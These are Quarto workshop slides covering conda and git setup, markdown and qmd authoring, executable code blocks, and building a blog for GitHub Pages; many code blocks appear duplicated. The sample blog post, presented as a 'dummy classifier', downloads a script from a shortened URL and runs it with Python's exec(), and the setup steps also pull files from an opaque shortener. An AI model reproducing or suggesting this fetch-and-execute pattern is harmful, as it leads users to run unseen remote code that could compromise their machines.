Quarto Workshop

Prerequisites

Tools

GitHub account
POSIX Compliant environment (not git bash, powershell or cygwin)
VSCode installed
Git Configured
Conda installed

Skills

Creating conda environments
Comfort with Git & GitHub
Branching (GitHub Flow)
Posts answers and links in chat

What is Quarto?

Quarto is a modern, interactive publishing system built on pandoc:

Converts Markdown files to multiple formats:
- html/rmarkdown/pdf
- Reveal.js (slides, pptx)
- Jupyter Notebooks (ipynb)
- ePub, Typst, LaTex and more

origin: org-mode (Emacs) => Sweave / knitr => RMarkdown

Why Use Quarto?

Focus on reproducibility
Easy interactivity
Flexible output formats
Good processing of code blocks:
- R
- Python
- Julia
- ObservableJS

Quarto Example Gallery

Open the Quarto Examples Gallery.
Browse through the examples of:
- Scientific reports
- Data visualizations
- Blogs
- Interactive web apps

Exercise

Identify one example to recreate during the workshop.

Underlying Technology

Quarto: A transpiler that converts markdown to various formats. The foundational technologies are:

Javascript (interactivity)
HTML (markdown)
CSS (fence divs)

Installation

Install Quarto binary program
Install the Quarto extension for VSCode:
- Extensions > Search “Quarto” > Install
Command line install of quarto cli

Exercise

One, Two & Three.

WARNING: Quarto is under active development!

Setting Up Your Environment

Create a new directory for the workshop:

mkdir -p ~/code/delete-me/quarto-play
cd ~/code/delete-me/quarto-playmkdir -p ~/code/delete-me/quarto-play
cd ~/code/delete-me/quarto-play

Create a Conda environment:

curl -L -o environment.yml https://shorturl.at/dZII6
conda env create -f environment.yml -p "$PWD/.conda" 
conda activate "$PWD/.conda"curl -L -o environment.yml https://shorturl.at/dZII6
conda env create -f environment.yml -p "$PWD/.conda" 
conda activate "$PWD/.conda"curl -L -o environment.yml https://shorturl.at/dZII6
conda env create -f environment.yml -p "$PWD/.conda" 
conda activate "$PWD/.conda"

.gitignore file to git ignore conda environment:

curl -o .gitignore https://raw.githubusercontent.com/github/gitignore/main/Python.gitignore
echo -e "\n# Custom ignores\n.conda/\n.env/" >> .gitignorecurl -o .gitignore https://raw.githubusercontent.com/github/gitignore/main/Python.gitignore
echo -e "\n# Custom ignores\n.conda/\n.env/" >> .gitignore

Initialize Git:

git init --initial-branch=main
git switch -c basic-markdowngit init --initial-branch=main
git switch -c basic-markdown

Write Markdown

Write a small example.md file:

# Big Hello, Quarto!
## Smaller hello, quarto!
###### smallest hello, quarto!
This is a demo of Markdown features:
- **Bold text**
- *Italic text*
- [Links](https://quarto.org)
- ![Image](https://picsum.photos/200/300)# Big Hello, Quarto!
## Smaller hello, quarto!
###### smallest hello, quarto!
This is a demo of Markdown features:
- **Bold text**
- *Italic text*
- [Links](https://quarto.org)
- ![Image](https://picsum.photos/200/300)# Big Hello, Quarto!
## Smaller hello, quarto!
###### smallest hello, quarto!
This is a demo of Markdown features:
- **Bold text**
- *Italic text*
- [Links](https://quarto.org)
- ![Image](https://picsum.photos/200/300)# Big Hello, Quarto!
## Smaller hello, quarto!
###### smallest hello, quarto!
This is a demo of Markdown features:
- **Bold text**
- *Italic text*
- [Links](https://quarto.org)
- ![Image](https://picsum.photos/200/300)# Big Hello, Quarto!
## Smaller hello, quarto!
###### smallest hello, quarto!
This is a demo of Markdown features:
- **Bold text**
- *Italic text*
- [Links](https://quarto.org)
- ![Image](https://picsum.photos/200/300)# Big Hello, Quarto!
## Smaller hello, quarto!
###### smallest hello, quarto!
This is a demo of Markdown features:
- **Bold text**
- *Italic text*
- [Links](https://quarto.org)
- ![Image](https://picsum.photos/200/300)

Exercise

Write some markdown in a file.

Markdown Code Blocks

code blocks: formatted but not executed in markdown.

Use 3 backticks to create code blocks in markdown & the name of the language.

Python

def greet(name):
   print(f"Hello, {name}!")

R

greet <- function(name) {
   print(paste("Hello", name))
}

Javascript

function greet(name) {
   console.log(`Hello, ${name}!`);
}

Exercise

Add code blocks to your markdown file for Python, Javascript & R.

Convert Markdown

Transpile example.md using quarto:

quarto render example.md --to html
quarto render example.md --to ipynbquarto render example.md --to html
quarto render example.md --to ipynbquarto render example.md --to html
quarto render example.md --to ipynb

Exercise

Write and convert a markdown file to other format. Commit changes

Introducing qmd

Basic features:

document metadata YAML format file header:

---
title: "blah"
format: "html"
date: "2025-01-22"
---

::: fenced blocks are used for quarto & custom css divs and classes
- ::: {.class}
- ::: {#id}
- ::: {.class #id}

Example qmd

new branch git switch -c qmd-demo

Write a small example.qmd file:

---   
title: "Demo"
format: html
---
# Hello, Quarto!

::: {.panel-tabset}

### Tab 1
Content for tab 1.
### Tab 2
Content for tab 2.

:::---   
title: "Demo"
format: html
---
# Hello, Quarto!

::: {.panel-tabset}

### Tab 1
Content for tab 1.
### Tab 2
Content for tab 2.

:::---   
title: "Demo"
format: html
---
# Hello, Quarto!

::: {.panel-tabset}

### Tab 1
Content for tab 1.
### Tab 2
Content for tab 2.

:::---   
title: "Demo"
format: html
---
# Hello, Quarto!

::: {.panel-tabset}

### Tab 1
Content for tab 1.
### Tab 2
Content for tab 2.

:::

Render the file:
```
quarto render example.qmd
```

Exercise

Write a .qmd file with fenced blocks.

Simple qmd Code Blocks

Quarto supports executing code blocks in markdown files.

Use curly braces {} to specify the execution language: {python}, {r}, {julia}.

Use curly braces with a period {.} to specify formatting options, no execution: {.python}, {.r}, {.julia}.

Python

def greet(name):
    print(f"Hello, {name}!")
greet("Quarto")

Hello, Quarto!

R

#| echo: true
#| warning: false
greet <- function(name) {
    print(paste("Hello", name))
}
greet("Quarto")

“Quarto”

Exercise

Create a .qmd file with a Python and R code block.

#| Code Blocks

The #| syntax adds control over code block execution & display.

   #| echo: true
   #| warning: false
   def greet(name):
      print(f"Hello, {name}!")

Option	Description
`#\|eval`	Evaluate the code chunk.
`#\|echo`	Include the source code in output.
`#\|output`	Include the results of executing the code in the output (true, false, or asis).
`#\|warning`	Include warnings in the output.
`#\|error`	Include errors in the output.
`#\|include`	Catch all for preventing any output (code or results) from being included.

Exercise

Create a .qmd file with a Python code block using the #| options like echo, warning, and eval.

Create a Blog Project

Create a Quarto blog project:

quarto create project blog ~/code/delete-me/quarto-blog
cd ~/code/delete-me/quarto-blog

Exercise

Create a blog project & explain the directory structure.
What is _quarto.yml?
What is posts/ directory?
What is style.css?

Create a Blog Conda Environment

Create a Conda environment for blog:

curl -L -o environment.yml https://shorturl.at/dZII6
conda env create -f environment.yml -p "$PWD/.conda" 
conda activate "$PWD/.conda"curl -L -o environment.yml https://shorturl.at/dZII6
conda env create -f environment.yml -p "$PWD/.conda" 
conda activate "$PWD/.conda"curl -L -o environment.yml https://shorturl.at/dZII6
conda env create -f environment.yml -p "$PWD/.conda" 
conda activate "$PWD/.conda"

.gitignore file for environment:

curl -o .gitignore https://raw.githubusercontent.com/github/gitignore/main/Python.gitignore
echo -e "\n# Custom ignores\n.conda/\n.env/" >> .gitignorecurl -o .gitignore https://raw.githubusercontent.com/github/gitignore/main/Python.gitignore
echo -e "\n# Custom ignores\n.conda/\n.env/" >> .gitignore

Initialize Git:

git init --initial-branch=main
git switch -c basic-markdowngit init --initial-branch=main
git switch -c basic-markdown

Exercise

Verify that the conda blog environment is active.

Writing a Blog Post

Create a new welcome.qmd file in the posts/ folder:

---
title: "My First Blog Post"
date: 2025-01-20
---

# Welcome!

This is my first blog post using Quarto. Here's a dummy classifer on breast cancer data.

   ```{.python}
   import urllib.request

   gist_url = "https://shorturl.at/WZ8hR"

   try:
      with urllib.request.urlopen(gist_url) as response:
         script_content = response.read().decode('utf-8')
      
      print("Executing the script...")
      exec(script_content)  # Execute the script
   except Exception as e:
      print(f"An error occurred: {e}")
   ```

Preview & Render Blog Post

The preview is a live preview of the blog post in the browser. The render command generates the output file.

Preview:
```
quarto preview posts/welcome.qmd
```
Render:
```
quarto render posts/welcome.qmd
```

Using Jupyter To Blog

Convert a jupyter notebook to a blogpost using quarto.
Quarto first converts the notebook to qmd, and from there to the desired format.
Just put YAML metadata at the top of the notebook in raw text format.
Save the notebook in the posts/ directory.
quarto preview & quarto render the notebook.

Exercise

Write and convert a jupyter notebook to a blog post.

Configure GitHub Pages

Configure _quarto.yml:

project:
  type: website
publish:
  gh-pages:
    branch: gh-pages

Configure repo UI settings to publish from gh-pages branch

Push to GitHub:

git add .
git commit -m "Initial blog setup"
git push origin blog-setup

Merge to main and deploy.

Blog with RStudio

Run which R after conda activated environment
If all good in 1, then open using open -na rstudio
Create new project from RStudio UI
Select Quarto Blog project type.
Create a new post and render it.
Push to GitHub.

Exercise

Create a quarto blog post using RStudio.

Group Exercise: Collaborative Blog

Form groups of 3–4 persons, have one person who is advanced in github flow.

Each group member creates a branch:

git checkout -b member_initials/feature-branch-name

Write posts in the posts/ directory.
Merge branches to main.
Push and share your blog URL.

Recap

Quarto combines flexibility and reproducibility.
Create professional blogs, reports, and more.
Practice collaborative workflows with GitHub.

Next Steps

Explore advanced Quarto features.
Build your personal portfolio site!